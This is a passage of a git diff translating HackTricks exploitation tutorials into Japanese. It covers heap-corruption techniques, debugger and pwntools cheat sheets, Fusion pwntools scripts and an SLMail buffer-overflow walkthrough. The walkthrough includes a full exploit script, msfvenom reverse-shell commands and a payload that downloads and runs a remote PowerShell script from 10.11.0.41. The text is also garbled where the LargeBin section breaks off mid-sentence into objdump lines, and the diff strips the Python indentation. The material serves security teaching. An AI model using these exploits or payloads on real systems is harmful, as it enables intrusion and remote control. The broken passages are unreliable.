3086207644. +0xbffff224 - 0x080c2788 = 3086207644。 -Así se guardará en av->top el valor alterado y el próximo malloc apuntará al EIP y lo podrá sobreescribir. +このようにして、av->topに変更された値が保存され、次のmallocはEIPを指し、上書きできるようになります。 -Es importante saber que el size del nuevo trozo wilderness sea más grande que la solicitud realizada por el último malloc(). Es decir, si el wilderness está apuntando a \&EIP-8, el size quedará justo en el campo EBP del stack. +新しいwildernessチャンクのサイズが、最後のmalloc()によって行われた要求よりも大きいことが重要です。つまり、wildernessが\&EIP-8を指している場合、サイズはスタックのEBPフィールドに正確に配置されます。 **The House of Lore** -**Corrupción SmallBin** +**SmallBinの破損** -Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado. +解放されたチャンクは、そのサイズに基づいてbinに挿入されます。しかし、挿入される前にunsorted binsに保存されます。チャンクが解放されると、すぐにそのbinに入るのではなく、unsorted binsに留まります。次に、新しいチャンクが予約され、以前に解放されたものが役立つ場合、それを返しますが、より大きなものが予約されると、unsorted binsにある解放されたチャンクは適切なbinに入れられます。 -Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max_fast (72normalmente) y menos a MIN_LARGE_SIZE (512). +脆弱なコードに到達するためには、メモリ要求がav->max_fast(通常72)より大きく、MIN_LARGE_SIZE(512)より小さくなければなりません。 -Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo: +binに要求されるサイズに適したチャンクがある場合、それは解放された後に返されます: -bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar. +bck = victim->bk; 前のチャンクを指し、変更できる唯一の情報です。 -bin->bk = bck; El penúltimo trozo pasa a ser el último, en caso de que bck apunte al stack al siguiente trozo reservado se le dará esta dirección +bin->bk = bck; 前のチャンクが最後のチャンクになります。bckがスタックを指している場合、次に予約されるチャンクにこのアドレスが与えられます。 -bck->fd = bin; Se cierra la lista haciendo que este apunte a bin +bck->fd = bin; このリストを閉じて、これがbinを指すようにします。 -Se necesita: +必要なもの: -Que se reserven dos malloc, de forma que al primero se le pueda hacer overflow después de que el segundo haya sido liberado e introducido en su bin (es decir, se haya reservado un malloc superior al segundo trozo antes de hacer el overflow) +2つのmallocを予約し、最初のものが解放された後にオーバーフローできるようにし、2番目のチャンクが解放されてそのbinに入るようにします(つまり、2番目のチャンクよりも大きなmallocを予約してからオーバーフローを行います)。 -Que el malloc reservado al que se le da la dirección elegida por el atacante sea controlada por el atacante. +攻撃者が選択したアドレスに割り当てられるmallocは、攻撃者によって制御される必要があります。 -El objetivo es el siguiente, si podemos hacer un overflow a un heap que tiene por debajo un trozo ya liberado y en su bin, podemos alterar su puntero bk. Si alteramos su puntero bk y este trozo llega a ser el primero de la lista de bin y se reserva, a bin se le engañará y se le dirá que el último trozo de la lista (el siguiente en ofrecer) está en la dirección falsa que hayamos puesto (al stack o GOT por ejemplo). Por lo que si se vuelve a reservar otro trozo y el atacante tiene permisos en él, se le dará un trozo en la posición deseada y podrá escribir en ella. +目的は次のとおりです。解放されたヒープの下にあるチャンクにオーバーフローでき、binにある場合、bkポインタを変更できます。bkポインタを変更し、このチャンクがリストの最初になると、mallocがこのチャンクの次のチャンクが偽のアドレスにあると考えます(スタックやGOTなど)。したがって、別のチャンクが再度予約され、攻撃者がその権限を持っている場合、希望する位置にチャンクが与えられ、そこに書き込むことができます。 -Tras liberar el trozo modificado es necesario que se reserve un trozo mayor al liberado, así el trozo modificado saldrá de unsorted bins y se introduciría en su bin. +変更されたチャンクを解放した後は、解放されたものよりも大きなチャンクを予約する必要があります。これにより、変更されたチャンクはunsorted binsから出て、適切なbinに入ります。 -Una vez en su bin es el momento de modificarle el puntero bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +binに入ったら、オーバーフローによってbkポインタを変更して、上書きしたいアドレスを指すようにします。 -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +このようにして、binはmalloc()が十分に呼び出されるのを待つ必要があります。これにより、変更されたbinが再度使用され、次のチャンクが偽のアドレスにあると考えられます。そして、次に必要なチャンクが提供されます。 -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +脆弱性をできるだけ早く実行するには、次のようにするのが理想的です: 脆弱なチャンクの予約、変更されるチャンクの予約、このチャンクを解放、変更されるチャンクよりも大きなチャンクを予約、チャンクを変更(脆弱性)、脆弱なサイズと同じサイズのチャンクを予約、そしてこのチャンクが選択したアドレスを指すように予約されます。 -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +この攻撃を防ぐために、チャンクが「偽」でないことを確認するための典型的なチェックが使用されます: bck->fdがvictimを指しているかどうかを確認します。つまり、私たちのケースでは、スタックで指されている偽のチャンクのポインタfd*がvictimを指しているかどうかを確認します。この保護を回避するために、攻撃者は何らかの方法で(おそらくスタックを介して)適切なアドレスにvictimのアドレスを書き込むことができる必要があります。これにより、真のチャンクのように見えるようになります。 -**Corrupción LargeBin** +**LargeBinの破損** -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. +前述の要件と同様の要件が必要であり、さらに、予約されたチャンクは512より大きくなければなりません。 -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. +攻撃は前述のように、bkポインタを変更する必要があり、すべてのmalloc()呼び出しが必要ですが、さらに、変更されたチャンクのサイズをそのサイズ - nbが Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d 実行可能ファイル** —> 関数を逆アセンブル\ +**objdump -d ./PROGRAMA | grep FUNCION** —> 関数アドレスを取得\ +**objdump -d -Mintel ./shellcodeout** —> 実際にシェルコードであることを確認し、OpCodesを取得\ +**objdump -t ./exec | grep varBss** —> シンボルテーブル、変数と関数のアドレスを取得\ +**objdump -TR ./exec | grep exit(func lib)** —> ライブラリ関数のアドレスを取得(GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> GOTで上書きするputsのアドレスを取得\ +**objdump -D ./exec** —> pltのエントリまで全てを逆アセンブル\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** gdbでの関数情報 -## Interesting courses +## 興味深いコース - [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) - [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) - [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) -## **References** +## **参考文献** - [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md index 344a72d02..03f3db48c 100644 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md @@ -4,9 +4,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. EIPを変更するためのオフセットを取得する +2. EIPにシェルコードのアドレスを入れる ```python from pwn import * @@ -32,9 +31,7 @@ r.recvline() r.send(buf) r.interactive() ``` - -# Level01 - +# レベル01 ```python from pwn import * @@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md index 0ca40e712..d60fe2c6b 100644 --- a/src/exploiting/tools/README.md +++ b/src/exploiting/tools/README.md @@ -3,7 +3,6 @@ {{#include ../../banners/hacktricks-training.md}} ## Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - -### Shellcodes - +### シェルコード ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### インストール ``` apt-get install gdb ``` - -### Parameters - +### パラメータ ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### 指示 ```bash run # Execute start # Start and break in main @@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) - ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB 同じアドレス -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +デバッグ中、GDB は **実行時にバイナリが使用するアドレスとはわずかに異なるアドレスを持ちます。** GDB に同じアドレスを持たせるには、次のようにします: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _バイナリの絶対パスを入力します_ +- 同じ絶対ルートを使用してバイナリをエクスプロイトします +- `PWD` と `OLDPWD` は、GDB を使用しているときとバイナリをエクスプロイトしているときに同じでなければなりません -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### バックトレースで呼び出された関数を見つける +**静的リンクされたバイナリ**を持っている場合、すべての関数はバイナリに属します(外部ライブラリには属しません)。この場合、**バイナリがユーザー入力を要求するためのフローを特定するのは難しいです。**\ +このフローは、**gdb** でバイナリを実行し、入力を求められるまで簡単に特定できます。その後、**CTRL+C** で停止し、**`bt`** (**バックトレース**)コマンドを使用して呼び出された関数を確認します: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -149,79 +136,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDBサーバー -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (IDAではLinuxマシンの実行可能ファイルの絶対パスを入力する必要があります。Windowsマシンでも同様です。) ## Ghidra -### Find stack offset +### スタックオフセットの検索 -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra**は、**ローカル変数の位置に関する情報のおかげで、**バッファオーバーフローの**オフセット**を見つけるのに非常に便利です。**\ +例えば、以下の例では、`local_bc`のバッファフローは`0xbc`のオフセットが必要であることを示しています。さらに、`local_10`がカナリークッキーである場合、`local_bc`からそれを上書きするには`0xac`のオフセットが必要です。\ +_保存されたRIPの最初の0x08はRBPに属することを忘れないでください。_ ![](<../../images/image (616).png>) ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイル\ +**-o** --> 出力\ +**-g** --> コードを保存 (GDBが見ることができる)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> LinuxでASLRを無効にする -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**シェルコードをコンパイルするには:**\ +**nasm -f elf assembly.asm** --> ".o"を返す\ +**ld assembly.o -o shellcodeout** --> 実行可能ファイル ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **実行可能ファイル**のセクションを逆アセンブル (コンパイルされたシェルコードのオペコードを確認、ROPガジェットを見つける、関数アドレスを見つける...)\ +**-Mintel** --> **Intel**構文\ +**-t** --> **シンボル**テーブル\ +**-D** --> **すべてを逆アセンブル** (静的変数のアドレス)\ +**-s -j .dtors** --> dtorsセクション\ +**-s -j .got** --> gotセクション\ +\-D -s -j .plt --> **plt**セクション **逆コンパイル**\ +**-TR** --> **再配置**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOTで修正するための"puts"のアドレス\ +**objdump -D ./exec | grep "VAR_NAME"** --> 静的変数のアドレス (これらはDATAセクションに格納されます)。 -## Core dumps +## コアダンプ -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. プログラムを開始する前に`ulimit -c unlimited`を実行します。 +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`を実行します。 3. sudo gdb --core=\ --quiet -## More +## さらに -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> アドレス (ASLRが有効な場合、毎回変更されます)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> アドレスが頻繁に変わるかどうかを確認するためのループ\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"のオフセット\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"のオフセット -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions - -## **Inmunity debugger** +**strace executable** --> 実行可能ファイルによって呼び出される関数\ +**rabin2 -i ejecutable -->** すべての関数のアドレス +## **Inmunityデバッガ** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary: +### リモートLinuxでのデバッグ +IDAフォルダー内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、_linux_server_または_linux_server64_バイナリをLinuxサーバー内に移動し、バイナリを含むフォルダー内で実行します: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +次に、デバッガを設定します: Debugger (linux remote) --> Proccess options...: ![](<../../images/image (101).png>) diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md index a7c0aa204..ee5a715c0 100644 --- a/src/exploiting/tools/pwntools.md +++ b/src/exploiting/tools/pwntools.md @@ -1,118 +1,98 @@ {{#include ../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +行またはファイルからオペコードを取得します。 ``` pwn asm "jmp esp" pwn asm -i ``` +**選択可能:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- 出力タイプ (raw, hex, string, elf) +- 出力ファイルコンテキスト (16, 32, 64, linux, windows...) +- バイトを避ける (改行, null, リスト) +- エンコーダを選択し、gdbを使用してデバッグシェルコードを実行し出力を得る # **Pwn checksec** -Checksec script - +Checksecスクリプト ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +パターンを取得する ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**選択可能:** -**Can select:** +- 使用するアルファベット(デフォルトは小文字) +- ユニークパターンの長さ(デフォルトは4) +- コンテキスト(16,32,64,linux,windows...) +- オフセットを取る(-l) -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) - -# Pwn debug - -Attach GDB to a process +# Pwnデバッグ +プロセスにGDBをアタッチする ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**選択可能:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- 実行可能ファイル、名前、または pid コンテキストによって (16,32,64,linux,windows...) +- 実行する gdbscript - sysrootpath # Pwn disablenx -Disable nx of a binary - +バイナリの nx を無効にする ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +16進数オペコードを逆アセンブルする ``` pwn disasm ffe4 ``` +**選択可能:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- コンテキスト (16,32,64,linux,windows...) +- ベースアドレス +- 色(デフォルト)/色なし # Pwn elfdiff -Print differences between 2 fiels - +2つのファイルの違いを表示します ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +16進数表現を取得する ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +ヘックスダンプを取得する ``` pwn phd ``` +**選択可能:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- 表示するバイト数 +- 行ごとのハイライトバイト数 +- 開始時にスキップするバイト # Pwn pwnstrip @@ -120,8 +100,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +シェルコードを取得する ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**選択可能:** -**Can select:** +- シェルコードとシェルコードの引数 +- 出力ファイル +- 出力形式 +- デバッグ(シェルコードにdbgをアタッチ) +- 前(コードの前にデバッグトラップ) +- 後 +- opcodesの使用を避ける(デフォルト: nullおよび改行なし) +- シェルコードを実行 +- カラー/ノーカラー +- システムコールのリスト +- 可能なシェルコードのリスト +- 共有ライブラリとしてELFを生成 -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -# Pwn template - -Get a python template +# Pwnテンプレート +Pythonテンプレートを取得 ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**選択可能:** ホスト、ポート、ユーザー、パス、パス、クワイエット # Pwn unhex -From hex to string - +16進数から文字列へ ``` pwn unhex 686f6c61 ``` +# Pwn 更新 -# Pwn update - -To update pwntools - +pwntoolsを更新するには ``` pwn update ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 1f8119bb8..f5af316f3 100644 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **SLMailサービスのインストールを開始する** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## SLMailサービスを再起動する +**SLMailサービスを再起動する**必要があるたびに、Windowsコンソールを使用して行うことができます: ``` net start slmail ``` - ![](<../images/image (23) (1).png>) -## Very basic python exploit template - +## 非常に基本的なPythonエクスプロイトテンプレート ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Immunity Debuggerのフォントを変更する** -## **Change Immunity Debugger Font** +`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`に移動します。 -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **プロセスをImmunity Debuggerにアタッチする:** **File --> Attach** ![](<../images/image (24) (1) (1).png>) -**And press START button** +**そしてSTARTボタンを押します。** -## **Send the exploit and check if EIP is affected:** +## **エクスプロイトを送信し、EIPに影響があるか確認する:** ![](<../images/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +サービスを中断するたびに、このページの最初に示されているようにサービスを再起動する必要があります。 -## Create a pattern to modify the EIP +## EIPを変更するためのパターンを作成する -The pattern should be as big as the buffer you used to broke the service previously. +パターンは、以前にサービスを中断するために使用したバッファと同じ大きさである必要があります。 ![](<../images/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +バッファを変更し、パターンを設定してエクスプロイトを起動します。 -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +新しいクラッシュが発生するはずですが、異なるEIPアドレスで: ![](<../images/image (27) (1) (1).png>) -Check if the address was in your pattern: +アドレスがあなたのパターンに含まれているか確認します: ![](<../images/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +バッファの**オフセット2606**でEIPを変更できるようです。 -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +エクスプロイトのバッファを変更して確認してください: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +このバッファでEIPがクラッシュした場合、42424242("BBBB")を指すべきです。 ![](<../images/image (30) (1) (1).png>) ![](<../images/image (29) (1) (1).png>) -Looks like it is working. +うまくいっているようです。 -## Check for Shellcode space inside the stack +## スタック内のシェルコードスペースを確認する -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600Bは強力なシェルコードには十分です。 +バッファを変更しましょう: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +新しいエクスプロイトを起動し、EBPと有用なシェルコードの長さを確認します。 ![](<../images/image (31) (1).png>) ![](<../images/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +脆弱性に到達すると、EBPがシェルコードを指しており、ここにシェルコードを配置するためのスペースがたくさんあることがわかります。 -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +この場合、**0x0209A128から0x0209A2D6まで = 430Bです。** 十分です。 -## Check for bad chars - -Change again the buffer: +## 悪い文字を確認する +バッファを再度変更します: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +バッドキャラは0x01から始まります。なぜなら、0x00はほぼ常に悪いからです。 -The badchars starts in 0x01 because 0x00 is almost always bad. +この新しいバッファでエクスプロイトを繰り返し実行し、無駄な文字を削除します。 -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +例えば: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +この場合、**0x0Aの文字は使用しないべきです**(0x09の文字のためにメモリに何も保存されません)。 ![](<../images/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +この場合、**0x0Dの文字は避けられています**: ![](<../images/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## JMP ESPをリターンアドレスとして見つける +使用: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +メモリマップを**リストします**。次の条件を満たすDLLを探します: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +次に、このメモリ内でJMP ESPバイトを見つける必要があります。そのためには、次のコマンドを実行します: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**次に、アドレスが見つかった場合は、badcharを含まないものを選択します:** ![](<../images/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**この場合、例えば: \_0x5f4a358f**\_ +## シェルコードを作成する ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +もしエクスプロイトが機能していないが、機能するはずである場合(ImDebgでシェルコードに到達しているのが確認できる)、他のシェルコードを作成してみてください(msfvenomを使用して同じパラメータの異なるシェルコードを作成します)。 -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**シェルコードの最初にいくつかのNOPを追加**し、それを使用してリターンアドレスをJMP ESPに設定し、エクスプロイトを完了させます。 ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> 自己を**上書きする**シェルコードがあるため、シェルコードの前に常にいくつかのNOPを追加することが重要です。 -## Improving the shellcode - -Add this parameters: +## シェルコードの改善 +このパラメータを追加します: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include 